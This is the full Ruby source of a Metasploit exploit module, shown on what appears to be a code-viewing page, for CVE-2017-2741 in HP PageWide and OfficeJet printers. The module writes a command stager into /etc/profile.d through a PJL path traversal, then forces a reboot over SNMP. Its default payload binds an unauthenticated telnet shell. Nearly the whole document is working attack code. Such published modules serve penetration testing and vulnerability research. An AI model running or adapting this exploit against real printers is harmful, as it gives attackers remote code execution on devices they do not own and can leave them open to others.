Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require "rex/proto/pjl"67class MetasploitModule < Msf::Exploit::Remote89Rank = NormalRanking1011include Msf::Exploit::Remote::SNMPClient12include Msf::Exploit::Remote::Tcp13include Msf::Exploit::CmdStager1415def initialize(info = {})16super(update_info(info,17'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',18'Description' => %q{19The module exploits a path traversal via Jetdirect to gain arbitrary code execution by20writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer21is restarted using SNMP. Impacted printers:22HP PageWide Managed MFP P57750dw23HP PageWide Managed P55250dw24HP PageWide Pro MFP 577z25HP PageWide Pro 552dw26HP PageWide Pro MFP 577dw27HP PageWide Pro MFP 477dw28HP PageWide Pro 452dw29HP PageWide Pro MFP 477dn30HP PageWide Pro 452dn31HP PageWide MFP 377dw32HP PageWide 352dw33HP OfficeJet Pro 8730 All-in-One Printer34HP OfficeJet Pro 8740 All-in-One Printer35HP OfficeJet Pro 8210 Printer36HP OfficeJet Pro 8216 Printer37HP OfficeJet Pro 8218 Printer3839Please read the module documentation regarding the possibility for leaving an40unauthenticated telnetd service running as a side effect of this exploit.41},42'Author' => [43'Jacob Baines', # Python PoC44'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module45],46'License' => MSF_LICENSE,47'References' =>48[49[ 'CVE', '2017-2741' ],50[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],51[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]52],53'Targets' => [54['Unix (In-Memory)',55'Platform' => 'unix',56'Arch' => ARCH_CMD,57'Payload' => {58'Compat' => {59'PayloadType' => 'cmd'60}61},62]63],64'Privileged' => true,65'DisclosureDate' => '2017-04-05',66'DefaultTarget' => 0,67'DefaultOptions' => {68'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',69'WfsDelay' => 18070}71))7273register_options(74[75Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),76OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])77]78)79end8081def execute_command(cmd, opts = {})82rpath = '0:/../../rw/var/etc/profile.d/'83stager_script_name = opts[:stager_script_name]84cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"8586begin87# use PJL to write command stager88print_status("Connecting to port #{rport}...")8990pjl = Rex::Proto::PJL::Client.new(sock)91pjl.begin_job9293pjl.fsinit(rpath[0..1])9495print_status("Attempting to write command stager...")96rpath = "#{rpath}#{stager_script_name}"97if pjl.fsdownload(cmd, rpath, is_file: false)98print_good("Successfully wrote command stager to #{rpath}")99else100print_error("Failed to write command stager to #{rpath}")101return102end103104# verify command stager exists105unless pjl.fsquery(rpath)106print_error("Command stager does not exist at #{rpath}; aborting...")107return108end109110pjl.end_job111112rescue Rex::ConnectionError113print_error("Connection Refused")114raise115end116end117118def restart_printer119pjl_port = datastore['RPORT']120snmp_port = datastore['SNMPPORT']121community = datastore['COMMUNITY']122# Printer MIB prtGeneralReset object identifier (numeric notation)123prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'124# prtGeneralReset powerCycleReset(4) value125power_cycle_reset = 4126127begin128# TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.129datastore['RPORT'] = snmp_port130print_status("Connecting to SNMP port #{rport}...")131snmp = connect_snmp132133# get value of Printer MIB prtGeneralReset134reset_value = snmp.get_value(prt_general_reset)135reset_value = "''" if reset_value.is_a?(SNMP::Null)136print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")137138# set value of Printer MIB prtGeneralReset to powerCycleReset(4)139print_status("Attempting to restart printer via SNMP...")140varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))141response = snmp.set(varbind)142143if response.error_status == :noError144print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")145146# get value of Printer MIB prtGeneralReset147reset_value = snmp.get_value(prt_general_reset)148reset_value = "''" if reset_value.is_a?(SNMP::Null)149print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")150print_status("Printer restarting...")151152else153print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")154end155156rescue SNMP::RequestTimeout157print_error("SNMP request timeout with community '#{community}'")158raise159rescue SNMP::UnsupportedVersion160print_error("Unsupported SNMP version specified; use '1' or '2c'")161raise162rescue Rex::ConnectionError163print_error("Connection Refused")164raise165ensure166# restore original rport value167datastore['RPORT'] = pjl_port168end169end170171def exploit172begin173opts = {174stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"175}176177print_status("Exploiting...")178connect179if target.name =~ /Unix/180execute_command(payload.encoded, opts)181else182execute_cmdstager(opts)183end184restart_printer185186return187ensure188disconnect189end190end191192end193194195